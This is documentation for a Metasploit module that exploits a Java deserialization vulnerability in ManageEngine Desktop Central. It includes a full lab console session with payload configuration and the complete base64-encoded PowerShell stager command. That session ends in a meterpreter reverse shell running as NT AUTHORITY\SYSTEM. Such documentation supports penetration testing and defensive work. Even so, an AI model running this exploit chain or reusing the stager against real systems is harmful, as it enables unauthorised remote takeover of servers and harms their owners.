Vulnerable Application
Description
This module exploits a Java deserialization vulnerability in the getChartImage() method from the FileStorage class within ManageEngine Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.
Quoting the vendor's advisory on fixed versions:
The short-term fix for the arbitrary file upload vulnerability was released in build 10.0.474 on January 20, 2020. In continuation of that, the complete fix for the remote code execution vulnerability is now available in build 10.0.479.
Setup
Download a vulnerable installer (I used 10.0.465 x64)
Install the software in Windows (I used Windows 10)
Verification Steps
Follow Setup and Scenarios.
Targets
0
This executes a Windows command.
1
This uses a Windows dropper to execute code.
2
This uses a PowerShell stager to execute code.
Options
WfsDelay
If the target is slow to shell, increase this value. The default is 60 seconds, on a fresh install and calibrated to my test environment.
Scenarios
Desktop Central 10.0.465 x64 on Windows 10
msf5 > use exploit/windows/http/desktopcentral_deserialization
msf5 exploit(windows/http/desktopcentral_deserialization) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/http/desktopcentral_deserialization) > options
Module options (exploit/windows/http/desktopcentral_deserialization):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8383 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 PowerShell Stager
msf5 exploit(windows/http/desktopcentral_deserialization) > set rhosts 172.16.249.139
rhosts => 172.16.249.139
msf5 exploit(windows/http/desktopcentral_deserialization) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf5 exploit(windows/http/desktopcentral_deserialization) > run
[*] Started reverse TCP handler on 172.16.249.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Desktop Central 100465 is a vulnerable build.
[*] Executing PowerShell Stager for windows/x64/meterpreter/reverse_tcp
[*] Powershell command length: 2502
[*] Executing command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAImual4CA7VWa2+bSBT9nEj5D6iyBCiOjV0nTSNV2gFDjGu7psSP2GutCAww8QAuDLFJt/9979iQptt0t11pERLzuM9zz8zFz2OXkSQWEuuy/Ub4fHJ8NHZSJxKk2pr6al4XarkiHx3Beu1+aAbCO0Faos2mm0QOiVdXV1qepjhmh3njGjOUZTi6owRnkiz8KcxCnOKzD3f32GXCZ6H2R+OaJncOLcUKzXFDLJyh2ON7g8R1eDgNe0MJk8Tffxfl5Vlr1dA/5Q7NJNEuMoajhkepKAtfZO7wpthgSRwSN02yxGeNGYlftxuTOHN8PAJrD3iIWZh4mShDFvCmmOVpLOzz4QYO25IIw3GauMjzUpxlYl1YctPL1eo3aVn6/ZjHjES4YcYMp8nGxukDcXHW6DmxR/FH7K9Ay2YpiYOVLIPYQ7LGUi3OKa0Lv2JGGuFthdrPKknPlUBqzFK5DoV8Ic9h4uUUHzTFFwI9FF+G50AAQO7LyfHJsV/RxX2rec/ZAqOj5X6MITppnGRkL/dOUOrCEPw4LEkLmNZu0hzLqydshVrkTOs/Vm9VslyyVzzC0nKaEG8FKmU9a87FoMvXf8zLLvZJjLtF7ETEragnvQQy9inep9ioxEYQlCSWG9jrYooDh3HYeK2/U9Mjwp501ZxQD6fIhUJlEBXUUP42mEMlJNGMhzgCiA5zIF/NB8LjSrokeVF553MQEjXqZFldGOdw4ty6YGOHYq8uoDgj5RbKWbIfil/DHeaUEdfJWGVuJVc4lv60JM5YmrtQNcj9xt5glziUQ1EXesTDamGToPIrvgiE5lAK5wAsPUAhYIUDYDPOhRRC5HWXGzZmZrShOAKR/ck3qBPAOS/JvueOE2BP/HuAFZkPzOVQVBg8Cw/qa9OE1YUpSRlcIBxWTqL/5P3ZzbGPQ0txWQipOh5LtWCc1LUd4nwsMdkjkDLI3kiTSHUyfNE53BHSq6ZOuufjbvKI4NGNj9ZUtSfThTn0+tQ2mX2rk8EkDE3SMgOYFxM9GDNl8/7mpte3uz2Udnehj8zM1HtqYbVU5PbIm2lfnUxAj2gD635nIk+Ngnlwq23NcTg3wZE2CMwAvqoZuqqyUAJVMbSBrYY6UVBgWz2r01qYzUuqkkfbtFFv9uTvyY/e6fTmuxs0GvZRaHzwjFbb2Ouvuf5ifT3o6vu5y+fWbaYTHfzoxq01DfFsulFnurGwphszON0G1nTQ7BihCusm2Q02dhOeVqv/EHuPQ3r5OIRwremiT/DCDHARIAsh+zam9t1WQ6rhpmr3HE2MCaytb8x4Z91thl5x22u+nQ4J3iTI0hEyKJzHCDnbbrM1S95b03Nroiu7YqLstvp9c6uT/nZdfifXFxdB0++Mm1PbjHtOqEK8Rb+zJv1T2AP6KLd+c8rx6+px8zGeU2estRJ612xNSPeNqpoE90dDl35SIWewcW7dJVrbDX2IyQwurWCexG1nDXZnAYLoID+os983QUfNKVlPTufcVn+rRP2dwuOM+pcQW7uMAbHYnDchPtTr2lp8bZvztocNtXnqvnvFGQuUrRV09IyKP+ohQyfNQocCRaE5VJeCkaRGed+PE8I1JOnwm7DGaYwpdFnow9XZQpQmLu83+9YAve7QgXhDnMDwdfvFkSw8Ccpf+1C1dHW1gDDhtO5QY4DjgIV1ZfdaUaCnKLuOAjn+fGJasikkMFTnHYnDcjBL92Zlfnpr6eye/M9glZdGCB/v38D6uvYPuz8FoFLfJ/zd6rcLvwTnr6c+cwgDURvuPYoPXfdlBEpmPPst4YWByvvlw/8rP+TsbAR/KyfHfwHyG93zwwoAAA==''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
[*] Uploading serialized payload
[+] Successfully uploaded serialized payload
[*] Deserializing payload
[+] Successfully deserialized payload
[*] Sending stage (206403 bytes) to 172.16.249.139
[*] Meterpreter session 1 opened (172.16.249.1:4444 -> 172.16.249.139:50055) at 2020-03-12 16:51:07 -0500
[!] This exploit may require manual cleanup of '..\webapps\DesktopCentral\_chart\logger.zip' on the target
meterpreter >
[+] Deleted ..\webapps\DesktopCentral\_chart\logger.zip
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : MSEDGEWIN10
OS : Windows 10 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
